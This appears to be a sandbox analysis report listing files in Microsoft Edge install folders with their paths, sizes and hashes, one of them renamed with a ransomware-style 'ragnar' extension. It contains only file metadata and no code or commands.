SSDEEP 24576:Hu0VJxzPCrXHlHwyB4BAfYdNLK2XNGCuesObtPY:Hu+xKYdNW2dLtg
MD5 SHA1 SHA512 SSDEEP

Submit Download

pl.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\pl.pak
Size 1.1MB
SHA256 91b09edddf9774dc186ef865b063bc5bf6b1ee4ef6ba7a5948b524584b13effa
MD5 68c2a4f4d1abc8805432801fef0ba8bd
SHA1 24211c4e49b761ee87d4e5c274f96f9dc0d70416
SHA512 f86938dba5d42e11b7e9b9f3af70417523c9fe904257099207b844c8ee38768b8db27ce34952810b47f55b17f8be40827b2ccc95a1a0162894079e3ce93812b9
SSDEEP 24576:plsqXDRlgKJ5xu8j1J6nxQvD/fdWndP859Oju7:HDcaTJ6nWCdPu
MD5 SHA1 SHA512 SSDEEP

Submit Download

pt-BR.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\pt-BR.pak
Size 1.1MB
SHA256 2954deedb86d5135dbf047ff0e0adacf0bcdcb19070a67a4c18c6b47cbda6fa2
MD5 f0722dc7bb205b4368d16582fdf3bc4b
SHA1 2243640ca264997f6b4e632d5366f8dc296b1f3d
SHA512 58599be69d616b9e81de918037bec49aea4cde08177f40065379888de86f48857bdb23ea0b5dad639de75081ea66d1034a22e2949b713e575880d6221fe3b610
SSDEEP 24576:7hZATtsxcHLgr6Rdbsc/fKiL5yKzYoYuWGNXkc7z9LyN:7hZA/LDRdYc/fKiLsKckWWXl5yN
MD5 SHA1 SHA512 SSDEEP

Submit Download

pt-PT.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\pt-PT.pak
Size 1.1MB
SHA256 c58f8bf62227847b154c246baf0b86792ff883f9d994809abe81b62a09c2dd06
MD5 1f190774674ee01505c65689ba4a3b0a
SHA1 bc467275edc8d333a9be97996ca155957b09d358
SHA512 2b440e8767428868e653d5403097266e75f48dad0b0e66c4ceeed8984521e7ced4bb4f8c5bcd861334303601245adb829d7776f8e10c920d1963b2a071611175
SSDEEP 24576:wCskDKgHSO+osjd++/6N0+vjq/ayZOmlE2KcB19GY5:wrsSO+Z7Y0+7q/ayUqE2HGY5
MD5 SHA1 SHA512 SSDEEP

Submit Download

qu.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\qu.pak
Size 1.1MB
SHA256 47bf1341edfc2a0fab2432edbe395d8e9de5cb0b36c6f607674e7aa3cf717725
MD5 82e48b1fb76eeb5d88ebd1a92de3f74c
SHA1 4a343761c031ed779e1634e69ae87a74994101fe
SHA512 c0fd837101bb4795427e6360119bc8bf4d34026c5aed7509f44b7830f1287df16e51e62db11271d124c0028cf28197fb8b749196a942699b73727696ddefd219
SSDEEP 24576:gM2CRWqZyGOlDVYTXjIJB6EVlR/RgNQsF9H:12CRWDYTo1yNXx
MD5 SHA1 SHA512 SSDEEP

Submit Download

ro.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ro.pak
Size 1.1MB
SHA256 3da08036d381e47bac414f2a59565872955577f04a5be14c9a2fcd1b5ac9e31b
MD5 7d189704bb22a16e165e8ff5d0442092
SHA1 2d699894ac24d136852654451532b2089087bcd6
SHA512 e878266ab571e0dabb0a93456096c13d3658fa121a21c9b2795ebdafdcf3fc6ff58536fd73b83a8db9ff4277e8d8737d07cdb18b9029c0089281f26271af3b89
SSDEEP 24576:RFzqJ/69we9USnfXj8TwA33JwhrhLipKoZ8CU9KTszICObAMryBnVWflduUuVBRX:I6SeWSn78Thp6hGpFO9KA7EUnVWflduN
MD5 SHA1 SHA512 SSDEEP

Submit Download

ru.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ru.pak
Size 1.7MB
SHA256 4784b65f3aea5dbde3b0f486e3ca972f55ec9789f6c21884265e10d9d259ddfa
MD5 ec1bd493f6ad1c0f51a51ef019d373f1
SHA1 6254a364a0906d9fe1f043470b0d2230a07e5aa2
SHA512 8ca9965b0b31a3fe5c94aa09e365ce931c35336911c025bb6f7ac3ac13ff0360d15ddbf8c4d5119d57b6ffd770aadf02b56f5c426e151da04b7e65d9ff2a3357
SSDEEP 24576:lzRDaekpIbVbbn8Eg4bspJ7cYriwH+d4sh2cldr0r6Dw7E7i:tRGekMRbn8EgbpJ7FmwHu4U0eDw7E7i
MD5 SHA1 SHA512 SSDEEP

Submit Download

sk.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sk.pak
Size 1.1MB
SHA256 56a3271da420cb35ddc480123ab359e4492fd7af5ad53b899a2c7b1cd4e0706c
MD5 0e80e20fa1420244a5f03df8def983a6
SHA1 48d4b3cfe66e134ce6fd1860da1c8a0b7764f561
SHA512 7b3c02c4c2d31fc8ec8e25c422a9ba3ad569256c6a8d46bf92a4e3601ca3a42f6147cac22fc7eb8d8d8714aaa031e3e727e0788c17375309092b3b6e0f8bfcbd
SSDEEP 24576:4sesHwxsuQ+hd9X1117gXzwAWmsYwR/WqLCpbLDrHxhfRFBIyi77Lm:P1QxsuQ+hdLEXzTsdLCXzpj2m
MD5 SHA1 SHA512 SSDEEP

Submit Download

sl.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sl.pak
Size 1.1MB
SHA256 710362d27a51265fe6883063696042716ccacc8d6876f6b03f58990a47f08181
MD5 50f26312d54dd9a6c78a14db56c3f317
SHA1 ee3ceede4aa6d7cf565b310c527248e6d8962e2c
SHA512 4011eeaf579277a01513fa0cc5f4108cb79319865d8d5e403e92fade5eb27a1a07e487dda9e9026e053931303fb789ea9daa324cb0420260366598d65a972977
SSDEEP 24576:0aG6YqqVbfPQdbAFBS/BqVVd8YzTtnL1kbaN/0AwwD:NGDVbQdbT0Vr8gRkbLAtD
MD5 SHA1 SHA512 SSDEEP

Submit Download

sq.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sq.pak
Size 1.1MB
SHA256 a85b40865c1f07ab4ec1be04e6c0cf9a4a828905fabaefcf3577dab33ed0d7fe
MD5 dbeacf476ba783404a2704212dc976de
SHA1 a063ce4f9049cc5abe0097a5803bf07688675abd
SHA512 856cf015734c8b0e56057a818930423a2b3942a5a243c2480783149406626b01dee54543309c95018fd3ef070953e27e90228489e8374f4f7e5a507306af4c95
SSDEEP 24576:YokEHGqgOAepE/HHrzNrUPDQd6FT/Fmq4ICrHxW5uzPP0+kIIluyVAx+4Z2Xz:gUad/HHPNAb5TgqNCZfnMuyVAx+4Z2Xz
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr-Cyrl-BA.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sr-Cyrl-BA.pak
Size 1.6MB
SHA256 03aabe85f1b9067be29c6530571f9dfc58f092ffe05ff925c613db52a8d642bd
MD5 22f69072aed0ad4738c701fa986457f5
SHA1 723592558bec1b213aa89e1881e16139e63d65be
SHA512 13c861bf9859bb44d4baedd95d6dc43b3f3800e92f01b65df9ce7f4de4f80de8a8516c2b3ca852886875898a2641ae5691cafd7afefac10caf0bd083806029ca
SSDEEP 24576:ogOf5Ple1SpzHemYMvwnb6TrY6mv+a8mpnTLJ29Le+qnuNT4jO0OL:o75P4cdHenMvwberKx9J2e+T4j2L
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr-Latn-RS.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sr-Latn-RS.pak
Size 1.1MB
SHA256 76eb262d14cfcaa0fc2a766912705de031d9cbeb7ab45135284d2638be923aa3
MD5 aa377c467e3f02eccf8c9d5f0c8862f6
SHA1 9f04a1aa1fef31c24dc82a2b3b1a0a1393a4993f
SHA512 e3dff58d9a8f101b2f05f1be65306655a3a0e7d09e1fd42c04b781b0fc90b98da099fc41546e46a1609221f4a3a9926b656eafdc3edffcf5b2330f949b1d36a5
SSDEEP 24576:ptsB2H89dU2mY9mOLTXayKyYESL58kqZiVHBjc4eHpcv:Uo9YMYOyKMOykA8HYHpK
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sr.pak
Size 1.6MB
SHA256 729634a273465268e8c79f80e8cc954792aa4439e4d016b47bbbfb0f65ebbc57
MD5 67cd2f0dde384b2d3daeda0e6d1503a2
SHA1 67f68745ad2122409576068156feba383eb34648
SHA512 19e9738b17b54d50203765bea0ac65992b21cf321c7675b5aaf9ab0e44735c546718e9875b7c7e755374261657e755ef1f144e0a9392fbd021a977af62528566
SSDEEP 24576:9vKxTXRoF2vtZPghkCcEwzj4Fl6Hhn+2oYMmamedgFpJ3:lEvDkkBXkFl6Hh+ZY5HEgjJ3
MD5 SHA1 SHA512 SSDEEP

Submit Download

sv.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\sv.pak
Size 1008KB
SHA256 63ee6fae44c4b3cc7ddde20b79f6adba3797e09625f8a86175bb95659bb41f12
MD5 a403342b1138b2cd5dfb01c6d377047f
SHA1 be99f4486e135692257f4590127372b8eddc2015
SHA512 7b9c1977459d55d254db603b7ca606992b8377f93131bec5ffe547189bb339e2971d2aff1158ef0df7b698d3264a68f608e4b37c4c565642dfef8f7abc64342e
SSDEEP 24576:yyoGgbk0QmxI/6lRKbqB5pBGEsRQo05+fNcOnSDpue:y1bk0QmxW6lRqqPpBnBvEznSEe
MD5 SHA1 SHA512 SSDEEP

Submit Download

ta.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ta.pak
Size 2.6MB
SHA256 3a1bc60da16f8dc3b45baac4692d0199282dd1418639a0f3c363fc9445e4f052
MD5 43f2967ac0d7b69412a977cd1e8c1e3b
SHA1 625a2f1cdd6223c015ddf43f6be65588dea8a086
SHA512 f03436cc3851e07ddd047e686390a64b017f2cdaaa85c37595dd19a7c604271d706432c1a8aeecaf45f6f3f27242ece1762a85f307aea79c1fa183d44cad3f9e
SSDEEP 24576:0Z9EUB3XUZiXgUq6r4Qious/W6032GdJdIWtDSCSmEDW4EuGX:yMiXKK4Qp/Q3xHftSNDW4EuGX
MD5 SHA1 SHA512 SSDEEP

Submit Download

te.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\te.pak
Size 2.3MB
SHA256 213527b081c6ed58aaa0132f881e8821833ae0758099dd7894d30a2efa0dd7a7
MD5 203f04d0a157e1381aad390caa125c56
SHA1 f3c2f2ef4580ecac5d811d2132022ac049507ba8
SHA512 99ce2d34703d10ec32a48949d22d9e26af008bd27ae9af95b9f23f564c146ef9e65ff7fabf5e2eba4d2c86e2e7ff7a1ffd0827ae0f7c56e27fcb0d1888294bb6
SSDEEP 24576:gZkSMiL9Ry94mdTMeKKo5ZrLBpmXKj1yj4AdUUPGp7qjF:nSMiLjy1Tno/rtiKhyj4eUUPL
MD5 SHA1 SHA512 SSDEEP

Submit Download

th.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\th.pak
Size 2.0MB
SHA256 cc7950c8b0f2d50e7dd1d96e37f9130a3d62b04a08409661f9ba237327534da1
MD5 0e744588d5dc6ac4654196de9502b31b
SHA1 825593e7290c02a595633dff1d99ff124f1e9115
SHA512 23fa704533d37ed3583f210347e34fa0fd934a5339972969c240204305689f4b68d363819646947a762c5c552a2dc635a954d8646a03fe8bd5dc38b95ea2165f
SSDEEP 24576:sJVjb4MAHyw6s+3z5EpGCxWEzGA2GFX5k6/n4aE66R+uBUunMfbG1kbiTj:DHy3TDaxlGuFXS6/4aqsuBzMGZ/
MD5 SHA1 SHA512 SSDEEP

Submit Download

tr.pak.ragnar_292FBD50

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\tr.pak.ragnar_292FBD50
Size 1.1MB
SHA256 35a3e8cc6c59a87d95aab6aa976037e2bacc977877bd946ddb6344a20c5ffd39
MD5 223d0e18a878433daa727a675df41d0c
SHA1 3ba0577814eb122e5791f51a82c1b3d48cf749a9
SHA512 9583c866b4607ce3254c24bcc4e98f093b47fb0e17cf7ce8d394b10026c3038d26def37ad26a8283edae22354ab875706a7c0f360c8182ba056fe50561aa513e
SSDEEP 24576:sGXqA5XBX0UpaEUnq/kt4wHLRp1u0QdIF3TCdweaJUOnM/owuaGRgq:sGaAVZ0bED/I4wHLRm323TC5aJN3aGRl
MD5 SHA1 SHA512 SSDEEP

Submit Download

tt.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\tt.pak
Size 1.6MB
SHA256 5c0b83630da1d5eb3881bc1e31228805282589f70d35e48d16619fc4d5f10153
MD5 204f633690139106c849f7fe448efa5a
SHA1 6d6570fb78bbee40077a7a2487f6e30db00f9afc
SHA512 bc798872aa3fee184068f48d4a82926ac79462cbcc891e6dba636827ca8460fb3d63191fed28c80f6492c7190f951edcf60ccd9159cb2a28168406ed20432c20
SSDEEP 24576:l5ilGdi4R7W4K5fxoZ2fiLGukUzyLGxIRCrhb4x:ltU49W4Wxf0NhaUVbA
MD5 SHA1 SHA512 SSDEEP

Submit Download

ug.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ug.pak
Size 1.6MB
SHA256 de2f3d082252c15d01712248f756ef6d05da1c1ed16546b504d61494e8253496
MD5 72172760983d0aac96401e3533c03da7
SHA1 5593cf19ce273c87346495e51eb4e0751136c16f
SHA512 b37bb139b43f525cb759434507ab277702f7d81599a7933324da135ece5551418705a7a2f465c8fa5f8c5cf4e3ac555daad8c1a4e0291d4fbbf6325af7cb3639
SSDEEP 49152:VBVjdr4IK0IcXEE3fHVU4CCd5lKIjl+PHtlNKxZjWml7JLJuJFvqss/210pm+TaB:VBXrVhEE/2
MD5 SHA1 SHA512 SSDEEP

Submit Download

uk.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\uk.pak
Size 1.7MB
SHA256 032d61b07711d19a0f5fa0ad13abca094b4ffc1ec3088fd8011d0c5f4235fc8d
MD5 f9334e38531c0d0b1980a06587f9f480
SHA1 19bbccb4be20b99384de9167cd9c7b9f8de1ad05
SHA512 060beb026cff14f5c48e594e6362fff9df3bdf523e0ccc830df005c9911a327b7ad749fbc90fbe6c08588f88b3ad6342858614a01b421202a9541975f39c97fb
SSDEEP 24576:cGS9p1QlnvnhAOvRlPsHvC8bNS4tk1yU1fSrOZiwynV2r56/h7bZVM85In:PSXeTvPOdbNS4glfVN9r56J7bZVM85In
MD5 SHA1 SHA512 SSDEEP

Submit Download

ur.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ur.pak
Size 1.5MB
SHA256 e123501f4366ac1e6321f15b414d6ed11def3b5a4255b050290620609bbd81c7
MD5 7b2cf082391515e096d929ec02b25cd6
SHA1 f43dc24bd94911f15fdb782ed822f26d41a7d1a6
SHA512 c5ce259c538bd83c78126a8b3e1e603b5be05d4409a7ed888812e62d7c5bf94c8a9274df56a200457be601b288b3c9df7e755b22055e1f3823304ab723625a04
SSDEEP 24576:sd8hcAJv4jUyHZIOeZPIizT7mj6y7E3HWWZ1K/TfCVmUG+vgY:sd8hc4xyHZZkIivo6y7E3HHZ87fGmggY
MD5 SHA1 SHA512 SSDEEP

Submit Download

vi.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\vi.pak
Size 1.2MB
SHA256 eb608de27de0bd545c99b1871a82299722ea5f29b2011d8f2dc6bbd33971d871
MD5 c34b188389234b0530a7cfcf04723908
SHA1 1c6e38e351078756f4f002519392073093107d5a
SHA512 b0d2b98779bcbbab79ec413c615bda101631c014ffd432d9f813e91afc0506290f6de01558926c67ba4ff36ed115afae913e2b8c11354e7ebd9946572aaff181
SSDEEP 24576:tHrgzhds7DWvRG+2PfnDNlr1Yt8Khx19KtO99nwlP93kbJSDq2es1g/pUcr5zZ/N:t8Vu/9x4tbhxrd9Bk9iJ2q2/Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-CN.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\zh-CN.pak
Size 866KB
SHA256 fbe810b0e5fde56104ded70b08a7b76fa43a232ed367e1282f0cc9e6228c7683
MD5 9a71887b89ba9986be47d2a4aa1c4ba8
SHA1 aebc57890b3452fd945da7d5bebb19b6e2dd6cc8
SHA512 48c50046b8083a74b71dd6a81f2f67454742c3b6b74ffc1f320f0287310c3e40056301d23fb7c53616756480dca68899069a2037b3344381682957b29d016a92
SSDEEP 24576:Zyifkp3VGn2RzZZqSEpF2ZLOBVbUApV9lDgswt:/kp3VE27ZqSeBvmswt
MD5 SHA1 SHA512 SSDEEP

Submit Download

zh-TW.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\zh-TW.pak
Size 893KB
SHA256 51a346374cdced16dce8fc6418c0446d9a5a1ec6e250e20db6cb842aaff94c81
MD5 ffd55174e25534af04bda02610948a42
SHA1 a8d80332f3378eca5bca54c12c598b665d82f19f
SHA512 77fe279e324356ab7b905bd40b1cfaed4d58356e71beb696bf6219657f4699fbe622dc5e116c39b44fd919340e80f214523741a28211519075efc2d0ce855752
SSDEEP 24576:7xONOqfpB1tEj/ddufWqbLXy2lQwX72mFErjGKfBFbi:iTEjdnuLC2dX7h9
MD5 SHA1 SHA512 SSDEEP

Submit Download

widevinecdm.dll.sig

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig
Size 1KB
SHA256 401740c05aade911776a219f8ad6edcdbfcf2a4d590b2cf1c0aa2ff4b8066af3
MD5 35a4124af323958dd511dc85c91859c4
SHA1 b231f46c6714adfe086892ea386bd92dc8ca7112
SHA512 445ac410fafb315b52b22f7b5ddff8c22d95112ae9fddeee34f7e5d7c93c67a00898d61b358a4ea4310216795879950f64c5cdb98680a33fb7147c283a77cde7
MD5 SHA1 SHA512

Submit Download

EdgeGameAssist.msix

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\edge_game_assist\EdgeGameAssist.msix
Size 1011KB
SHA256 13b96c708f816bbd0ef846a0cdcef54a0e74804b027b2a3117b1e76ed8304666
MD5 4153d667006cbd515fb591155bdd3404
SHA1 39ec3c6a9e94c869abfc5f0ea3d91e8ebf03580f
SHA512 23e1cdfc36f39f977b4ae7562264a62c3534f0b81e3714fffe2c660137f91c6c53e2dba18b7b0aaf5d1e847987f6f1ed75c663406649862bf2ac4517efac7961
SSDEEP 24576:UIneVGpFtKpe9WIrZY3hdtlEV6OSVboCr4v8CyZcfhZKZoyT+Ew:UIeApup2rZihjlU6l0v8FeZZH
MD5 SHA1 SHA512 SSDEEP

Submit Download

VERSION

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\edge_game_assist\VERSION
Size 531B
SHA256 2db7c6966c5fbceddb8efb9beb010d3e3e591f9f70403f50eb619b4dea1b1d09
MD5 544008ddee14315cde283c45685e4cce
SHA1 9203581859241996da0b09e7ffaea51bd3753ace
SHA512 5de854c35025736bb17a0497fefcdd46f33bfbcf9fdd4dfb0d647af93dd1cc78deaa449245d671160ce17f9d52092117397442ae8a17824673de4438376e48f3
MD5 SHA1 SHA512

Submit Download

icudtl.dat

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\icudtl.dat
Size 11.4MB
SHA256 5d32ad45dc6b688f89eb23d7766dec308e0e82182b403b0ef7d8aba690b0eb29
MD5 9ec1daf96e15a3d536ba5e2a394d3c31
SHA1 cb684e52535cf8de4987b14ef1feb490658b3060
SHA512 1f9af804fbbe1bed100dd4c605505d294aaa179f37a45c8012ea725b50c0cde0112fce4c345714bacc181269c11389c077a4a847b4107d4259d84d24900d85da
SSDEEP 196608:NU0ZCZBhORT2AducHiXUxY/iJ53IWhlmjE9u2Ynudc:Nnc3wUmHiXUxY/iJ53IWhlmjE9cudc
MD5 SHA1 SHA512 SSDEEP

Submit Download

beta.identity_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\beta.identity_helper.exe.manifest
Size 1KB
SHA256 8528d2da1808fb796454fce7640707bfcb128d411497ad8b0945f0fe35c6a6b8
MD5 a41efbdc990cda07d1d1daa04cdcacb9
SHA1 abcd4f6ddf13d7e1e87fb7b179343f00011bacf5
SHA512 fa81581e11e382bf42396dd3dcc0084120fc8f0a266ca1ddcc69b04816b18cf5d834059b7a4cc57a270fad06ad70f698023c60ec35364343763503e89d108e83
MD5 SHA1 SHA512

Submit Download

canary.identity_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\canary.identity_helper.exe.manifest
Size 1KB
SHA256 ed634aa56f38178b7c9b4e43ff130f31a6c22e72a4f5f49156986d2377768f1e
MD5 c1cb85f588fb464eb014eddee8fa99a7
SHA1 8f721c14724ad693575dc9ddb5799d6061784fcf
SHA512 137fc30c48a37c67c746a7e1363a13bba653a370eb572662d488dc7c21df5f9d578bebf539d5434462438a5e3f7797f808425ab836dc71621373fb2b9614af44
MD5 SHA1 SHA512

Submit Download

dev.identity_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\dev.identity_helper.exe.manifest
Size 1KB
SHA256 877ef16fb4db1431a2b677dbc67374f7ba62cb0d9a0331035e28238011823ba5
MD5 b5699d5b2478581f218e7a59b6dc1426
SHA1 955cd36eb5b49fab80c6c6a05ad2f9016a442596
SHA512 c0f6da2167a032a895161feb99130343c74b0289b2845f3bf0019d334148d8474aea8b984d538e14f9f57ed189cdd1e11a36a241fb9a6b48bf6f22fa292aceca
MD5 SHA1 SHA512

Submit Download

internal.identity_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\internal.identity_helper.exe.manifest
Size 1KB
SHA256 b6fb9589ded685039842db6707c9ad02b89e83a8908b60b6100662c788d5c01c
MD5 d84ec8fc85d3bae1790dcf9a51a983d2
SHA1 36198c0b6f3816a5944a6c2cc38e4e2e7c13c1b4
SHA512 0ba66a49af36c146700888f6aeb1b4aa05a98300e1c68a3d185a14cb9c25000f8ecdcb0483cbd8e7fb503acac77310e4aa98cc13bc95330113d29ac9760c644a
MD5 SHA1 SHA512

Submit Download

identity_helper.Sparse.Canary.msix

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\win10\identity_helper.Sparse.Canary.msix
Size 54KB
SHA256 3e016927b832a80907ef3a788cfd495d1d781af5e5e84629500d8421ffe7b150
MD5 110756b83b84d7adff6d8104ab3c88c1
SHA1 8cae3b20e6237da83fe5ace3c110059047cf243d
SHA512 d2f445875fe72a85c23713cf6fd571d03d555989eb632abd077c0bc02b75c78ff0801d4762337956277d75f17fcd8d7557006aa237f0bbb5d42888c7db384e3a
SSDEEP 1536:VUnW/6HPiRvqiuGaVBAdz+aLkzf7FD2xlV4Jrm:VKW/EMuGzNkj7Faxlorm
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Canary.msix

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\win11\identity_helper.Sparse.Canary.msix
Size 54KB
SHA256 741e36343e571d70b2a400308816c4479d0b6eb6668251548c1cf61ac7dd0f7b
MD5 c48556c4c2cb7b71897eeabced0fa6c6
SHA1 7004b91a16a41b32d7cfc0ac134abef4dcf9a305
SHA512 6cc03ff307f153e7115cbd573b1d76ebe8c64e7c73f4b2dc14a4b689fd2b73ec1a61ed06b19adb4d04457f3b0900dcc14d6255e29852a3c6cd112b676924c9d0
SSDEEP 1536:cUnW/6HPiRvqiuGa0Adz+aLkzf7FDHGFDBm:cKW/EMuGQNkj7F6Ftm
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedge.dll.sig

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\msedge.dll.sig
Size 1KB
SHA256 2a42bb708785d4a2efea57655b2e6320b27e981d64121d14e25cb83b0a478de0
MD5 f8143485c9dbde48ccf7ec8e7853dfa7
SHA1 f93ad3de15279be2c2fdc74087d97f71456342f4
SHA512 1aace4592017c2b3fb4ee467bfb01c30a20929052f6f2ce499235df7bb3ff4eb2e029bb32ebf91ed1c004ecac86baf9cb1bf5af4673df32995b67ca8ef15418f
MD5 SHA1 SHA512

Submit Download

msedge.exe.sig

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\msedge.exe.sig
Size 1KB
SHA256 3fb233801333a58152c7e15e4b2a109484fd1d667c7a03ee26c40577d51a4426
MD5 7391c5112f5ed9be9a3eb43d37931357
SHA1 208f65ce25089576252ca8aaf17788b5a45f5165
SHA512 31ee72696507022e7a64fdff5fe7e981f30ff2e1797d63694eadd3576ff3035550e9cdb6a4931a536e34ddcd59f3ba192a2d95eb00e1b4843b28c8699258b7b2
MD5 SHA1 SHA512

Submit Download

msedge_100_percent.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\msedge_100_percent.pak
Size 1.5MB
SHA256 f79f32810e3c433cc15581b01fb7ee0d99c6d1e3e6c1760aaefa44f52a0ce23d
MD5 c530672e3a95da4fb4115e641418320d
SHA1 affdc93ea5a2400eb5c92af1fea16ac7804c908e
SHA512 f13df08f082bb0a8df7bacec45a1ce9e3626e36a17348dfec7f0b5b7e3da384c6df24f64563afd4dbcb5c092253c914d6736738aeeef45fef1d1e330c307b8c4
SSDEEP 24576:bovZaZNUHrtt7EsAaIGMGqhIScKi9NRnHjddl8PzmBm5V19J/uoh0TsFRQV:bov0X2rb7EnnNhPexjddl8PAQ9pucKsc
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedge_200_percent.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\msedge_200_percent.pak
Size 2.0MB
SHA256 11d1d5d86dd674c94b4786d8678f5bae70b1a4c480689d3593b518a452d75e9a
MD5 57ef32d035532fa8f7c844c5cd84cddc
SHA1 c529105cb5325b6f4affab5db41e8d574ebe75c3
SHA512 be3d0ea996f411cbbf3c33ec2ff7c82d661d1df05599568ba5308bb494fac90be931a98bc22ad194f1a1941a0860cb5bcb596321c7e58c29b836d44869ea0410
SSDEEP 49152:Sihg8PwJ0KVw7qM/HZ3hxRqv7Ijddl8ofovACU+ppaurkbD:SudIJLVAFhxSUjdj8IqACUIa7bD
MD5 SHA1 SHA512 SSDEEP

Submit Download

msedgewebview2.exe.sig

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\msedgewebview2.exe.sig
Size 1KB
SHA256 b9a0f284b8e29f8241ddc3ff38f9157eb15684a0e9c0b3de441ba7b53ff93a82
MD5 9455f93691553e172d56356081e5f1e0
SHA1 93cd059c47ae6c44bc62a794878d1db1d8e82413
SHA512 75ba08c6d84de37c1e587ef78901887beab66a646af1a50624deac8d0b6955ae7c94a1a7b1bb6fd1356c2ed89fdad838356dfcdcf181db21d9b95f1ad026779b
MD5 SHA1 SHA512

Submit Download

resources.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\resources.pak
Size 26.2MB
SHA256 5697a7cf504811335457c7a1ce7af1a41073a89f5b938d4f306dcbd19c2a5718
MD5 e89cf1778029da5c9473ffdb5fdc1ece
SHA1 17b6ac31b6590e09ad4b411cf5d788b0d5885d26
SHA512 b1e9c89def1413917a078f54671f2540fc27f45c26bc9fafd6c4298adfe15806c522ff8d18c6efb261dc9aede3ea2b2da3795e09f7cc0d262a870cf3fcb0309b
SSDEEP 786432:W3mxvEVH4ZEBSZi3QG95yC7JBkdQCWNloN:WWx6gQ3X95y4G16oN
MD5 SHA1 SHA512 SSDEEP

Submit Download

show_third_party_software_licenses.bat

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\show_third_party_software_licenses.bat
Size 791B
SHA256 824ada1856a180c2c57073e031f7cd3f5f63b4b077f2d1de5a1ac47081b6bbb5
MD5 3d8c67a200a0049a31e38127432a5e48
SHA1 7018a309b865b02bf6d41b6cae68a6819f50ab7e
SHA512 ef5d848a90861e741f08e6912fb57514aa4ad305c1a97824de1d61d9611e36ab0f4d9ad0005da62da4656e09e70b7c0f1f00fd3701232410444019e6942edb00
MD5 SHA1 SHA512

Submit Download

v8_context_snapshot.bin

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\v8_context_snapshot.bin
Size 707KB
SHA256 bcf0c7aeee42243efaea6c99f15d0532d51ac29d9b74b636a343951f27acbd6c
MD5 f9146c19305beb1f4a2222c24e10111a
SHA1 9f56bf685bf1c3f3b3dbf448f7feaee8be0b0bc2
SHA512 46446642cb9b391b41ef5ac5ea82c3bec67c72ea591db899c7ee9c122c18a1213f8f136dd4fa5f0d774b447dffebba56c66b945dc36b117aa7b2af52416c34c1
SSDEEP 12288:NLlFu5Em6eOHcLJhfZluc+Fj2Izj18D4f+enyKLOoJeCppGdi:NLmVl1ZlTYj2Il8DXeyKLOopUdi
MD5 SHA1 SHA512 SSDEEP

Submit Download

af.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\af.pak.DATA
Size 1003KB
SHA256 40c8fe26fe75c246b6398443b15138bf264d866580cb5720ea47929ab3d8299e
MD5 46e0f1d4d5fa5cef738dedf4f6aced9d
SHA1 c2205b42181500402185f15ec4b7eb39901fc60a
